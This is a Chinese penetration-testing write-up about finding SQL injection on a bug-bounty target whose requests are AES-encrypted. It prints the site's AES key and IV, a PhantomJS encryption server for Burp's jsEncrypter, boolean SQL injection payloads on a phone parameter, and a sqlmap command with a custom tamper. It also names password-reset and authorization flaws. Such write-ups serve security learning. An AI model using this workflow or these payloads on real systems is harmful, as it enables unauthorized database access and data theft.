前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >吊打SRC的加密传输实现SQLi挖掘

吊打SRC的加密传输实现SQLi挖掘

作者头像
用户1789928
发布2021-04-13 15:17:37
1.4K0
发布2021-04-13 15:17:37
举报
文章被收录于专栏:渗透测试红队专栏

温馨提示

本文章仅供学习交流使用,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

0x01:解决加密传输

在进行常规渗透测试时,发现任何传输都是被加密过的

遇到此类情况,建议翻翻JS来寻找加密规则 右键-审查元素-event 可以快速定位到相关js代码

如图,可以发现当点击按钮时,会执行ForgetPwd.sendCode() 即ForgetPwd变量中的sendCode()函数 格式化JS代码后

可以看见使用了aes_encrypt函数对传入的值进行加密 但在当前JS中未搜寻到该函数声明,于是可以推算出是包含在另一个JS文件

在aes.js 中搜寻到了秘钥及偏移量,填充,模式 秘钥:d49d691f234441add2f610d5d11f6aad 偏移量:b883b5ec8ca259692869ada4b72dc6f5 填充:zeropadding 模式:CBC 先用在线AES解密网站试试

0x02 编写解密程序

然后为了方便渗透测,我这里用了phantomjs来写出解密程序

phantom.js下载链接

https://phantomjs.org/download.html

jsEncrypter_base.js:

代码语言:javascript
复制
var webserver = require('webserver');
server = webserver.create();
var host = '127.0.0.1';
var port = '1664';
// 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('aes.js') && phantom.injectJs('pad-zeropadding.js');
// 处理函数
function js_encrypt(payload){
/*********************************************************/
var AesKey = "d49d691f234441add2f610d5d11f6aad";
var CBCIV = "b883b5ec8ca259692869ada4b72dc6f5";
var CBCOptions = {
     iv: CryptoJS.enc.Utf8.parse(CBCIV),
     mode:CryptoJS.mode.CBC,
     padding: CryptoJS.pad.ZeroPadding
}


var key = CryptoJS.enc.Utf8.parse(AesKey);
var secretData = CryptoJS.enc.Utf8.parse(payload);
var encrypted = CryptoJS.AES.encrypt(
       secretData,
       key,
       CBCOptions
     );
return encrypted.toString();
/*********************************************************/
}


if(wasSuccessful){
console.log("[*] load js successful");
console.log("[!] ^_^");
console.log("[*] jsEncrypterJS start!");
console.log("[+] address: http://"+host+":"+port);
}else{
console.log('[*] load js fail!');
}


var service = server.listen(host+':'+port,function(request, response){
try{
if(request.method == 'POST'){
var payload = request.post['payload'];
var encrypt_payload = js_encrypt(payload);
console.log('[+] ' + payload + ':' + encrypt_payload);
response.statusCode = 200;
response.write(encrypt_payload.toString());
response.close();
}else{
response.statusCode = 200;
response.write("^_^\n\rhello jsEncrypter!");
response.close();
}
}catch(e){
console.log('\n-----------------Error Info--------------------')
var fullMessage = "Message: "+e.toString() + ':'+ e.line;
for (var p in e) {
fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
}
console.log(fullMessage);
console.log('---------------------------------------------')
console.log('[*] phantomJS exit!')
phantom.exit();
}
});

然后运行 phantomjs.exe jsEncrypter_base.js

利用jsEncrypter插件来测试

https://github.com/c0ny1/jsEncrypter/releases/tag/0.3.2

0x03 挖掘漏洞

先前解密成功后 我就开始手注了几个简单的payload 但回显不同,所以可以确定验证手机号此处是存在注入点的

比如 phone=16742264301'and '1'='0'&lang=zh 和 phone=16742264301'and '1'='1'&lang=zh

这个时候就面临两个选择,选择和sqlmap对接 or 用我自己半个月前写的盲注脚本 不过盲注脚本还需要二改 用的也不是像sqlmap那样二分法注入 很浪费时间,所以只能用sqlmap的

但sqlmap默认是没有这种加密脚本的,So 还得自己写个tamper

Aes.py公众号内回复AES_tamper即可下载

最后

代码语言:javascript
复制
python sqlmap.py -r 1.txt --tamper aes.py,lowercase.py,equaltolike.py --dbms mysql --proxy http://127.0.0.1:8080 --force-ssl --risk 3 --tech B --skip-urlencode --level 3

0x04 后续

后续还挖到了几处逻辑漏洞,未授权查看其他用户充值记录,重置任意用户密码等 和其他几处接口皆存在SQL注入

正所谓"金玉其外,败絮其中"啊

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-11-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 M78安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01:解决加密传输
  • 0x02 编写解密程序
  • 0x03 挖掘漏洞
  • 0x04 后续
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档